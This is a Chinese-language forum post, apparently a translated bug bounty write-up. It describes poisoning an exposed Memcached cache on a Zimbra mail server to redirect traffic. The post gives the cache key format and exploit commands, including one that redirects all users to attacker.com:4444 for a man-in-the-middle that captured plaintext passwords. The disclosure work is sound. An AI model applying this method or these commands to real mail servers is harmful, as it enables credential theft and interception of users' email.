用户
搜索
  • TA的每日心情
    郁闷
    7 天前
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    2

    主题

    8

    帖子

    86

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-4-17
    发表于 6 天前 82390
    这篇文章是关于作者和他的朋友如何从Cafebazaar bug赏金计划中获得约2500美元奖励的故事。





    侦察阶段

    在侦察阶段,作者枚举了mailx.hezardastan.net的主机,即Cafebazaar的网络邮件访问入口。随后扫描了端口,结果如下:


    1.png




    开了很多端口,其中,Memcached的11211端口发现异常。经过一些基本测试,结果表明:
    • 1.无需认证即可与11211端口通信
    • 2.电子邮件地址由Zimbra保存在缓存中
    • 3.具有添加/修改/删除缓存数据的能力
    • 4.有进行DDOS攻击的能力
    • 但是,作者一直在寻找更危险的东西,比如文件泄露,远程命令执行等。

    攻击Zimbra


    Zimbra将通信协议方案、用户名和后端服务器IP地址保存在Memcached中。在这之前,使用Metasploit中的memcached_extractor模块进行了数据提取(可以手动完成):
    2.png
    3.png


    可见结果中跑出很多邮件地址(标红部分),作者可以利用这些电子邮件地址进行网络钓鱼或暴力攻击。但是,作者对漏洞利用仍然不满意。(可傲娇了)

    首先看一下Zimbra的工作流程:
    • 1.用户通过其凭据进行身份验证
    • 2.服务器将用户名和后端服务器URL保存在缓存中
    • 3.用户使用Zimbra
    • 4.服务器从缓存中检索后端URL
    • 5.服务器与检索到的URL以及用户数据通信
    4.png

    下面举例说明Zimbra是如何将数据保存在缓存中:
    route:proto = imapssl;user= [REDUCTED] @ cafebazaar.ir 127.0.0.1:7993 
    route:proto = pop3ssl; user = [REDUCTED] @ cafebazaar.cloud 127.0.0.1:7995 
    route:proto = httpssl; user = [REDUCTED ] @ cafebazaar.ir 127.0.0.1:8443

    格式为:
    route:proto = [UserProtocol]; user =EmailAddressOrID

    支持的协议:
    IMAPSSL 127.0.0.1:7993
    POP3SSL 127.0.0.1:7995
    HTTPSSL(HTTPS)127.0.0.1:8443

    考虑到我们可以通过互联网访问后端服务器:
    IMAPSSL mailx.hezardastan.net:7993 
    POP3SSL mailx.hezardastan.net:7995 
    HTTPSSL(HTTPS)mailx.hezardastan.net:8443

    作者设计了一种攻击场景,剩余部分将进行介绍。




    发现SSRF漏洞

    该场景是针对SSRF测试服务器。攻击场景是将后端服务器IP地址更改为任意地址(攻击者的服务器),以便重定向服务器流量。

    测试SSRF的步骤:
    • 1.通过自签名SSL证书在某个端口上建立SSL侦听器
    • 2.更改用户的缓存以重定向流量
    通过更改缓存,建立起了一个来自maix.hezardastan.net的连接,如下图。

    5.png


    SSRF已实现:)


    中间人攻击


    中间人攻击的主要目的是在邮件服务器正常工作时窃取用户信息(包括凭据,电子邮件等)。为了不影响用户正常使用功能,我们不得不把流量重定向回服务器。考虑到后端开放端口都可以从互联网访问得到,我们可以实现这个中间人攻击场景。

    6.png


    MITM场景:
    • 1.用户登录到其帐户后,后端服务器IP被保存在缓存中
    • 2.攻击者将后端信息更改为他的IP地址
    • 3.Zimbra的流量被重定向到攻击者的服务器上
    • 4.攻击者卸载SSL并提取信息(主要是凭证信息等)
    • 5.攻击者与后端端口建立SSL连接(这些端口是打开的)
    • 6.对用户进行攻击后,攻击者会将缓存恢复为默认值。

    作者编写了一个利用代码,其中包含以下几部分:

    7.png

    1.提取已经登录的电子邮件地址
    python HezarSploit.py -m dumpusers

    8.png


    2.伪造IMAPSSL服务器与客户端进行通信
    python HezarSploit.py -m mitm --port 4444

    将凭证转储到credentials.txt中。

    3.修改所有已登录用户(或某个用户)的缓存
    python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

    4.将缓存更改为默认值
    python HezarSploit.py -m reset

    综合起来,那就是:

    在服务器中:
    python HezarSploit.py -m mitm --port 4444
    9.png


    在本地命令行中:
    python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
    10.png

    结果如下图:
    11.png

    作者几乎以纯文本形式获得了所有用户的密码。样本如下:

    12.png

    本文完

    作者报告了该漏洞,响应很迅速,并在不到一个小时的时间内修复了该漏洞。几天后,他们给了作者约2.5k的赏金。希望这篇文章对你们有所帮助。

    赏金给的低了点,哈哈哈
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    人家拿的是美元,谢谢
    使用道具 举报 回复
    美刀2.5k???
    使用道具 举报 回复
    很强
    使用道具 举报 回复

    是的,美刀呢
    使用道具 举报 回复
    很强啊师傅
    使用道具 举报 回复
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册